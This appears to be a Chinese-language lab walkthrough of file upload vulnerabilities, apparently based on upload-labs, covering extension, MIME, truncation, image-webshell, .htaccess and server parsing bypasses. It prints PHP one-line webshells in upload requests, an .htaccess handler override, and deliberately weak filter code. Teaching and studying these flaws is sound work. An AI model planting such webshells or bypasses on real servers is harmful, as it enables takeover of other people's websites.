目录
1. 上传文件漏洞原理
现在大部分web应用程序都有上传文件的功能,例如个人博客上传各种文件和图片,招聘网站上传doc文件格式的简历等等。只要web应用程序有上传文件的功能,就可能会存在上传文件漏洞。
为什么会有上传文件漏洞?
一般用户在上传文件时,如果web应用没有对上传的文件进行严格的校验和过滤时,容易出现允许上传任意文件的情况,然后恶意攻击者利用这一点上传恶意脚本文件(aspx,php,jsp等文件)到服务器,从而获取网站的管理员权限,对服务器造成巨大威胁,这个恶意文件则被称为webshell。
webshell是以网页文件形式存在的一种命令执行环境,其文件格式为asp/php/jsp等,也可以称为网页后门,攻击者在入侵一个网站后会将asp或php脚本文件与网站服务器的正常文件混在一起,使用浏览器访问这些后门得到一个命令执行环境,从而控制目标服务器获取最高权限(例如查看服务器目录,修改文件操作数据库,执行任意系统命令)。
接下来通过一个小案例来了解文件上传漏洞的基本原理。
2. 前端验证绕过攻击
JS检测绕过攻击通常发生在用户选择上传文件时,如果上传的文件的后缀格式非法不允许上传,前端会进行弹窗提示,此时上传的文件校验并没有发送到服务端,而是由前端JS代码来过滤的。
现在来分析一下客户端上传文件的html文本代码:
//检查文件是否为空
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
//服务端在处理上传的文件代码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
当用户在选择上传的文件时,点击上传会调用JS代码中的checkFile函数获取用户上传的文件的格式类型,并判断文件格式的类型是否为允许的图片文件类型,不是则进行弹窗警告。如果用户上传的文件类型为允许的文件类型时,服务端在处理上传的文件并没有做任何的安全校验,而是判断上传的文件是否存在,不存在则调用move_upload_file函数将文件保存。
绕过前端JS检测就可以上传webshell脚本文件了,前端JS检测绕过方法有两种,一种是直接将检测上传文件后缀的JS代码删除,修改check函数,如下所示:
checkFile函数没有任何校验和过滤:
再点击上传文件,把backdoor.php文件上传到网站就能成功了。
使用中国菜刀点击添加webshell:
成功拿到目标webshell。
3. http协议Content-Type绕过攻击
回忆一些以前学习的http协议中有一个Content-Type字段,Content-Type(内容类型):用于定义网络文件的类型和网页编码,就是告诉客户端实际返回请求的媒体类型信息。
常见的媒体格式类型有如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
当用户在上传一个php脚本文件时客户端会发起一个http请求包,通过Burp Suite软件可以抓取到http数据包中Content-Type字段的值,http数据包如下:
POST /Pass-02/index.php HTTP/1.1
Host: www.upload_labs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.upload_labs.com/Pass-02/index.php
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------24235120359156
Content-Length: 356
-----------------------------24235120359156
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php"
Content-Type: application/octet-stream
<?php
@eval($_GET[upload test]);
?>
-----------------------------24235120359156
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------24235120359156--
Content-Type字段的值是application/octet-stream,该值在以application开头的媒体格式类型中是二进制流数据(如常见的文件下载),刚才上传的PHP文件就属于二进制流数据,如果上传的文件是图片的话,那么Content-Type的值就是image/jpeg格式了。
MIME类型就是通过Content-Type来指定的,即用来设定某种扩展名文件的打开方式,当具有该扩展名文件被访问时,浏览器会自动使用指定应用程序打开。
这意味着如果服务器通过http协议的Content-Type字段来判断文件的类型的话,那么就存在被绕过的可能,因为用户在上传文件时,客户端会发起一个http请求,Content-Type字段的值是由客户端指定的(可控)。那么在上传一个php文件时通过Burp Suite软件修改Content-Type字段的值为image/jpeg从而绕过服务端的检测。
服务端处理上传文件代码如下:
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
服务端第一步先判断上传的路径,接着判断上传的文件类型是否为图片类型(image/gif ,image/jpeg,image/png),如果不是其中一种图片类型则不允许上传,而$_FILES['upload_file']['type']变量的值则就是获取客户端的http请求的Content-Type字段中的值,通过Burp Suite抓包软件正好可以修改Content-Type的值从而绕过服务端的检测。
4. phtml绕过攻击
用户在上传文件时,服务端通常检测文件后缀限制某些文件不允许上传,有的Apache服务器则可以解析其他文件后缀的:
ASP文件:asa/cer/cdx
ASPX文件:ashx/asmx/ascx
PHP文件:php4/php5/phtml
JSP文件:jsp / jspa / jspx / jsw / jsv / jspf / jtml / jSp / jSpx / jSpa / jSw / jSv / jSpf / jHtml
在http.conf文件中,如果有配置如下代码则可以解析php和phtml文件:
AddType application/x-httpd-php .php
右键Send to Repeater,把上传的php文件backdoor.php修改为backdoor.php3文件,然后点击Go转发数据包,从http响应数据包来看,文件上传成功。
然后把上传的路径输入到浏览器地址栏中,后台把.php3为后缀的文件完全当做PHP文件来执行了。
服务端过滤文件后缀代码:
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
//不允许上传的文件类型
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
//判断文件类型是否允许上传
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
第一步还是先判断是否表单是否提交,然后判断上传路径是否存在,通过$_FILES变量获取上传的文件,接着再判断文件类型是否为允许上传,服务端代码中不允许上传的文件类型为: asp , .aspx ,.php ,.jsp格式,在这个案例中通过Apache服务器的解析漏洞,上传php3类型的文件可以绕过服务器的过滤。
5. 大小写绕过
先分析一下服务端的后台过滤代码:
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
服务端的后台代码中$deny_ext中包括了基本上所有的过滤文件格式,在这种情况下我们需要换一种思路,使用文件后缀大小写来绕过服务端的过滤。
把上传的backdoor文件的后缀修改为Php格式,然后上传文件:
打开BurpSuit软件开启抓包,右侧就是http协议响应包中获取到的上传文件路径:
6. 文件后缀加点,特殊字符串,双写绕过
打开http://www.upload_labs.com/Pass-07/index.php网站开启代理,点击上传backdoor.php文件,开启Burp Suite软件抓包:
修改BurpSuit抓包软件的http数据包,在上传的文件后缀加点进行上传,http响应数据包显示了上传的路径,说明文件上传成功,实际上后台在进行过滤时获取上传文件的扩展名是php. ,由于后台使用的是黑名单过滤方式,而php.扩展名则正好可以绕过后台检测,文件名最后面的点会由操作系统自动去除掉。
还有另一种绕过方式就是在上传的文件后缀加::$DATA,通过在文件后缀加::$DATA后,后台会把::$DATA当做文件流处理,并且不会检测文件的后缀名,从而绕过后台的检测:
把上传路径复制下来,然后访问该文件:http://www.upload_labs.com/upload/202008131503202437.php ,浏览器并没有进行任何的错误提示,说明这个链接是有效的,文件上传成功:
分析后台的上传代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
服务器的后台代码明显把文件名的后缀的点过滤掉了,唯独没有把字符串“::$DATA”过滤,这个字符串在windows系统环境下才有用。
这里再介绍一种文件绕过方式,在服务器后台过滤某些文件后缀格式时,还可以通过双写方式绕过,例如在上传backdoor.php文件时,对该文件后缀使用双写绕过修改成backdoor.pphphp,如下所示:
分析Pass-10后台的上传代码:
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
服务器后端会获取上传的文件名,并判断文件的后缀是否在过滤的文件类型中,如果是则把文件后缀替换成空字符串,也就是说我们上传的文件backdoor.pphphp实际上被服务器后台替换成了backdoor.php文件,从而绕过后台代码的校验。
7. http协议GET/POST请求00截断
POST /Pass-11/index.php?save_path=../upload/ HTTP/1.1
Host: www.upload_labs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.upload_labs.com/Pass-11/index.php
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------2476330090233
Content-Length: 343
-----------------------------2476330090233
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php"
Content-Type: application/octet-stream
<?php @eval($_POST[upload]); ?>
-----------------------------2476330090233
Content-Disposition: form-data; name="submit"
上传
-----------------------------2476330090233--
http协议的GET请求00截断的实验中,在http请求头中多了一个save_path参数,这个参数的值是上传文件的上传路径,通常来说这个参数是可变的,接下来上传文件就需要通过这个参数进行绕过。
使用BurpSuit软件抓包,修改参数,由于服务器只允许上传jpg之类的文件,我们需要把文件后缀格式改成jpg类型,同时还需要将save_path参数更改成11.php%00,修改完后转发数据包,在http响应包中可以看到文件的上传路径,这说明文件是上传成功的。
%00在操作系统中其实相当于一个截断结束符号,操作系统在处理字符串的时候,%00后面的内容会忽略掉。
也就是说在upload路径下会生成11.php文件,关于这点我们可以通过菜刀工具连接http://www.upload_labs.com/upload/11.php,进行验证:
还有一种基于POST请求的00截断,与GET请求方式不同的是,POST请求中的save_path参数不是在http请求头中。
在save_path参数中添加一个123.php路径,同时把上传的文件backdoor.php更改为backdoor.jpg格式的文件,从右侧的http响应包来看文件上传是成功的。
POST请求中使用00截断不能直接在http请求数据包修改,需要将原始的数据"save_path"../upload/123.php+ 转换成十六进制数据包,而“+”符号对应的十六进制就是2b,我们需要将2b修改成00。
8. 图片马绕过
图片马文件上传漏洞要求php版本小于5.3.4
图片马文件上传测试流程:
- 先上传一张正常的图片,测试上传功能是否正常
- 直接上传一张图片马,可绕过content-type,文件头,getimagesize(),php_exif检查
- 针对二次渲染,可以寻找图片的数据部分不会被替换的部分,将代码插入到其中
图片马的三种常用图像格式gif,png,jpg,这次的上传文件漏洞需要用到图片文件,那么后台系统是怎么识别上传的文件是否为图片文件呢,通常是判断文件头的前几个字节。
上图中jpg格式图片的文件头是FFD8FF,png格式的文件头是89504E47,GIF格式的文件头是47494638
先来分析后台代码,重点关注getReailFileType函数:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
//重新生成新的文件,获取上传的文件类型作为新文件的文件后缀
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
getReailFileType函数就是用来获取文件类型的,后台首先会打开上传的文件,并读取前两个字节进行匹配,如果不是jpg / png / gif其中一种文件头则不允许上传,因此需要在Burp Suit抓包软件中修改。
虽然通过修改文件头可以绕过前面的getReailFileType函数,但后面依然无法绕过,原因是变量img_path的文件的文件类型就是上传的文件类型,也就是说,后台重新创建的文件是一个GIF图片文件。
打开在Burp Suit抓包软件进行抓包,左侧部分中表示褐色的部分是上传的文件的内容,我们需要把上传的文件backdoor.php的前面几个字节的内容修改成GIF 89A,表示这是一个GIF格式的图片文件,然后点击Go转发数据包:
文件成功上传,上传的文件路径:../upload/3320200813164514.gif 。
虽然上传后的文件类型时一个gif格式的图片文件,但是通过文件包含漏洞修改上传的文件的文件头可以欺骗从而绕过服务器后台的检测,运行图片马的恶意代码,PHP代码中的会使用GET方式获取file中的参数,我们需要在URL链接中添加GIF文件的路径,当前的include.php文件就会包含图片马中的php一句话代码。
接下来在中国菜刀中添加链接:http://www.upload_labs.com/include.php?file=./upload/3320200813164514.gif ,输入密码upload,选择PHP脚本类型,这样就能成功获取到目标的webshell:
9. 图片马二次渲染绕过
将一个正常显示的图片上传到服务器,寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将一句话木马插入到这一部分,然后上传图片马文件。
先准备一句话木马文件1.php和一张png图片1.png,然后使用copy命令制作2.png图片马文件,如下图所示:
上传图片马文件2.png,成功上传后右键复制图片地址:
然后在菜刀工具中访问图片的链接地址http://www.upload_labs.com/upload/30412.png ,发现菜刀工具无法解析该文件:
分析后台源代码:
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
后台给出的源代码中对jpg,png,gif三种格式图片都有对应的处理,以分析png图片为例,后台首先会判断文件的类型是否为png图片,接着上传的png图片文件会被imagecreatefrompng函数重组创建一个新的png图片,该函数同时会将我们之前插入的一句话木马代码删除掉。
上传的2.png图片文件通过imagecreatefrompng函数重组渲染成一个新的png图片文件30412.png,并且会将一句话木马过滤掉,这就导致用菜刀工具访问该文件无法当成php文件来解析内容。
以上传gif图片为例,上传该gif文件后,打开winhex工具对比两个文件的内容,其中黑色部分是不同的部分,白色的是相同的部分内容,我们需要在白色部分的01.gif文件内容中插入一句话木马代码,然后将修改后的01.gif文件上传:
然后使用文件包含漏洞访问该文件的链接:
当前页面没有报错,可以解析28739.gif文件,说明成功绕过后台的过滤。
使用菜刀工具获取目标的webshell:
28739.gif文件解析成功,并且拿到了目标的webshell。
10. Web容器组件解析漏洞
web应用程序常用的一些容器组件有:IIS,nginx,apache,tomcat等web容器,攻击者在利用文件上传漏洞时,会结合web容器组件的解析漏洞一起使用,以IIS,Apache容器的解析漏洞为例。
IIS6.0在解析文件时存在两个漏洞:
1. 当创建.asa或.asp为名的文件夹时,在该文件夹目录下的任意文件都会以asp文件来解析。例如建立一个名字为test.asp的文件夹,那么在test.asp文件夹里的文件都会以asp文件来解析。
2. 当上传的文件为*.asp;1.jpg时,IIS6.0同样也会以asp脚本文件来解析执行,例如test.asp.1.jpg。
Apache解析漏洞:
Apache在解析漏洞时,如果碰到一个不认识的扩展名文件时,就会从后向前解析,直到碰到认识的扩展名为止,如果都不认识则暴露源代码,例如:backdoor.php.rar.aa文件,apache服务器首先会解析aa扩展名,如果aa不认识则解析rar,直到遍历到认识的扩展名为止,然后再解析文件内容。
在apacha的安装目录下/conf/mime.types文件中有详细的扩展名列表,如下所示:
11. 黑名单/白名单过滤方式
Web应用程序开发人员在开发上传文件功能时,通常会对上传的文件的扩展名进行检测,而验证文件扩展名的方式通常有两种:白名单验证和黑名单验证。
无论是黑名单过滤还是白名单过滤,主要是从这四个方面来说:
- 操作系统:这方面主要是针对windows操作系统来说的,因为windows对大小写不敏感,例如1.asp和1.AsP两个文件对windows来说是一样的。
- 编程语言:以php语言为例,支持可以解析的后缀有:php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
- 代码逻辑不严谨:以双写绕过为例,通常开发人员会对文件后缀进行匹配过滤,如果上传的文件匹配到php后缀的,一律以空字符串进行替换。攻击者则可以利用双写方式来进行绕过,例如上传1.pphphp文件,后台过滤后为1.php,并不会完全过滤,这种通常是开发人员代码不严谨产生的漏洞。
- 中间件:web应用程序通常用到一些web中间件本身就存在的解析漏洞。
当我们对目标进行上传漏洞利用的时候,可以从以上四个方面入手。
还有java语言的jdk1.7.40版本的空字节截断漏洞
黑名单过滤方式通过定义一系列不安全的扩展名,当服务器在接收文件后,如果上传的文件扩展名与黑名单里的文件扩展名匹配到则认为文件非法,不允许上传。
以/Pass-07为例:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
如果上传的文件名在deny_ext数组中的任何一个文件扩展名匹配到的话,上传的文件不会被保存,Pass-07就是使用的黑名单过滤,这样看起来把一些不合法的文件过滤了,但实际上攻击者还可以利用很多方法绕过黑名单过滤。
1. 例如攻击者可以从黑名单中找到开发人员忽略掉的扩展名ashx,例如上传1.ashx文件绕过。
2. 后台是windows系统的情况下,如果上传的文件名是以“.”或空格等特殊字符作为结尾的话,系统生成文件时会自动去除这些不合法的特殊字符,攻击者就可以利用windows系统的特性来绕过黑名单过滤,例如上传“asp.扩展名文件上传,当服务器接收到文件名后会在写文件操作时,windows会自动去除小数点。
因此黑名单过滤方式是一种不安全的方式,隐藏了太多未知的风险,无法防御上传漏洞。
白名单过滤方式通过定义一系列安全的文件扩展名,当服务器在接收文件后,如果上传的文件扩展名与白名单里的文件扩展名匹配到则允许上传,否则就不允许上传。从某种程度上来说,白名单比黑名单更加具有安全性。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
例如上面的白名单过滤定义了一系列安全的文件扩展名,防御了未知风险,但也不能完全依赖白名单,因为白名单并不能完全防御上传漏洞,例如攻击者利用中间件IIS6.0的解析漏洞,上传backdoor.asp;1.jpg文件,此时的文件扩展名是jpg可以绕过后台白名单过滤检测,IIS6.0仍然会将文件以asp脚本来解析。
12. .htaccess文件上传
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
说白了.htaccess文件就是一个服务器用来解析的配置文件,.htaccess文件上传漏洞的利用代码如下:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
新建一个.htaccess文件,其内容如下所示:
通过.htaccess文件调用php解析器解析一个文件名只要包含“jpg”这个字符串的任意文件,如果“jpg”这个字符串的任意文件的内容是一句话木马则可以利用中国菜刀进行连接。
新建一个test.jpg文件,代码显示:
然后上传.htaccess文件和test.jpg文件:
然后访问链接:http://www.upload_labs.com/upload/test.jpg ,说明后台把test.jpg文件的内容当做php代码来解析了:
当然也可以吧test.jpg文件的内容改成一句话木马,然后使用菜刀工具进行连接。当我们在利用.htaccess文件上传漏洞时,如果可以修改.htaccess文件权限的话,则可以修改解析规则。
13. 总结
关于文件上传的一些总结:如果当前网站没有解析漏洞时,代码格式必须要和文件格式一致,例如上传的php代码那么文件必须为.php格式,否则无法正常解析webshell;存在解析漏洞的情况下,代码格式不必和文件格式一致,例如上传xxx.asp;jpg文件,看起来这是一个jpg图片文件,实际上这个文件会被当做asp脚本来解析。